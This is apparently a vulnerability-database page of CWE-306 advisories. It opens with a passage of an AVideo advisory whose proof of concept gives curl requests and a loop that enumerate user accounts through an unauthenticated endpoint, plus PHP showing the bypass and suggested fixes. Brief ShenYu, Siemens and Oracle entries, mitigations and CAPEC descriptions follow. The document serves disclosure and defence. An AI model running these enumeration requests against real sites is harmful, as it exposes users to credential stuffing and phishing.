same-origin/CSRF middleware is skipped by design.\n- The output-filter block (`objects/users.json.php:66-77`) only limits **which** fields are echoed \u2014 it does not suppress existence or display-name leakage, and `total` is always echoed on line 97.\n- `rowCount` is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).\n\n## PoC\n\nTarget: a default AVideo 29.0 install at `http://target/`. No session cookie, no CSRF token, no API key required.\n\n### Path 1 \u2014 bulk listing via `isCompany` admin-check bypass\n\n```\n$ curl -s \u0027http://target/objects/users.json.php?isCompany=0\u0026rowCount=1000\u0026current=1\u0027\n{\"current\":1,\"rowCount\":1000,\"total\":42,\"rows\":[\n  {\"id\":\"1\",\"identification\":\"admin\",\"photo\":\"https://target/videos/userPhoto/photo1.png\",\n   \"background\":\"https://target/...\",\"status\":\"a\",\"creator\":\"\u003cdiv ...channel URL...\u003e\"},\n  {\"id\":\"2\",\"identification\":\"alice\",...,\"status\":\"a\",...},\n  ...\n]}\n```\n\nThe same call with `isCompany=1` returns the subset of company-flagged users; `isCompany=0` returns all non-company users. Both branches set `$ignoreAdmin = true`.\n\n### Path 2 \u2014 sequential-ID existence / display-name oracle\n\n```\n$ for i in $(seq 1 10000); do\n    curl -s \"http://target/objects/users.json.php?users_id=$i\" \\\n      | jq -r \u0027[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv\u0027\n  done\n1\t1\tadmin\ta\n1\t2\talice\ta\n0\tnull\tnull\tnull\n1\t4\tbob\ti\n...\n```\n\n`total=1` \u2192 ID exists; `identification` field leaks the login/display name; `status` reveals active (`a`) vs inactive (`i`).\n\n### Verification of the branch logic\n\n```php\n// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.\n$canAdminUsers = false; $ignoreAdmin = false;\n$_SESSION = [];                      // unauthenticated\n$_REQUEST = [\u0027isCompany\u0027 =\u003e \u00271\u0027];\nif (isset($_REQUEST[\u0027isCompany\u0027])) {\n    $isCompany = intval($_REQUEST[\u0027isCompany\u0027]);\n    if (!$canAdminUsers) {\n        $isACompany = !empty($_SESSION[\u0027user\u0027][\u0027is_company\u0027]);   // false\n        $isCompany   = $isACompany ? 0 : 1;\n        $ignoreAdmin = true;\n    }\n}\nvar_dump($isCompany, $ignoreAdmin);  // int(1) bool(true)  \u2192 admin guard SKIPPED\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n- Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).\n- Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.\n- Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo\u2019s login/password-recovery endpoints.\n- Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.\n\nNo auth is required, the request is a single unauthenticated `GET`, and `rowCount` is unbounded, so the full user list can be harvested in one request.\n\n## Recommended Fix\n\n1. Require authentication at the top of `objects/users.json.php`, and gate the bulk-listing path to users who legitimately need to search:\n\n    ```php\n    require_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\n    User::loginCheck();                         // reject anonymous callers\n    if (!canSearchUsers()) {\n        header(\u0027HTTP/1.1 403 Forbidden\u0027);\n        die(\u0027{\"error\":\"forbidden\"}\u0027);\n    }\n    ```\n\n2. Remove the `isCompany`-driven `$ignoreAdmin = true` branch (users.json.php:41-48). It served no purpose that the explicit `canSearchUsers()` check above does not already cover, and its only observable effect is the bypass described here.\n\n3. Gate the `users_id` path behind the same check, or restrict its output to the caller\u2019s own record when the caller is not an admin:\n\n    ```php\n    if (!empty($_REQUEST[\u0027users_id\u0027])) {\n        $requestedId = intval($_REQUEST[\u0027users_id\u0027]);\n        if (!canSearchUsers() \u0026\u0026 $requestedId !== User::getId()) {\n            header(\u0027HTTP/1.1 403 Forbidden\u0027);\n            die(\u0027{\"error\":\"forbidden\"}\u0027);\n        }\n        $user = User::getUserFromID($requestedId);\n        ...\n    }\n    ```\n\n4. Consider clamping `$_REQUEST[\u0027rowCount\u0027]` to a sane ceiling (e.g. 100) and removing `objects/users.json.php` from the CSRF-bypass list in `objects/functionsSecurity.php:893` unless there is a specific mobile-client requirement \u2014 and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.",
  "id": "GHSA-6rvw-7p8v-mjfq",
  "modified": "2026-05-13T14:20:28Z",
  "published": "2026-05-05T22:02:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rvw-7p8v-mjfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d9cdc702481a626b15f814f6093f1e2a9c20d375"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated User Enumeration in objects/users.json.php via isCompany Parameter Allows Bypass of the Admin-Only Listing Restriction"
}

GHSA-6V39-P2XQ-G5C3

Vulnerability from github – Published: 2022-01-28 22:13 – Updated: 2022-02-02 16:16
VLAI
Summary
Missing authentication in ShenYu
Details

User can access /plugin api without authentication. This issue affected Apache ShenYu 2.4.0 and 2.4.1.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.shenyu:shenyu-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-26T22:41:59Z",
    "nvd_published_at": "2022-01-25T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "User can access /plugin api without authentication. This issue affected Apache ShenYu 2.4.0 and 2.4.1.",
  "id": "GHSA-6v39-p2xq-g5c3",
  "modified": "2022-02-02T16:16:05Z",
  "published": "2022-01-28T22:13:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/incubator-shenyu/pull/2462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/shenyu/pull/2462/commits/50e4b5e626ad94b415e26ef4fbe584bd51fd1b77"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/incubator-shenyu"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/dbrjnnlrf80dr0f92k5r2ysfvf1kr67y"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/01/25/15"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/01/25/5"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/01/26/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Missing authentication in ShenYu"
}

GHSA-6V56-9M73-2RM4

Vulnerability from github – Published: 2024-07-22 15:32 – Updated: 2025-11-03 21:31
VLAI
Details

A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V5.40), SICORE Base system (All versions < V1.4.0). Affected devices allow a remote authenticated user or an unauthenticated user with physical access to downgrade the firmware of the device. This could allow an attacker to downgrade the device to older versions with known vulnerabilities.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-39601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-22T14:15:06Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions \u003c V5.40), SICORE Base system (All versions \u003c V1.4.0). Affected devices allow a remote authenticated user or an unauthenticated user with physical access to downgrade the firmware of the device. This could allow an attacker to downgrade the device to older versions with known vulnerabilities.",
  "id": "GHSA-6v56-9m73-2rm4",
  "modified": "2025-11-03T21:31:11Z",
  "published": "2024-07-22T15:32:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39601"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-071402.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Feb/19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6V5M-8QFV-2X66

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Unified Directory product of Oracle Fusion Middleware (component: OUD Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Unified Directory. While the vulnerability is in Oracle Unified Directory, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Unified Directory. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-60360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:39Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Unified Directory product of Oracle Fusion Middleware (component: OUD Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Unified Directory.  While the vulnerability is in Oracle Unified Directory, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Unified Directory. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).",
  "id": "GHSA-6v5m-8qfv-2x66",
  "modified": "2026-07-22T00:31:36Z",
  "published": "2026-07-22T00:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60360"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

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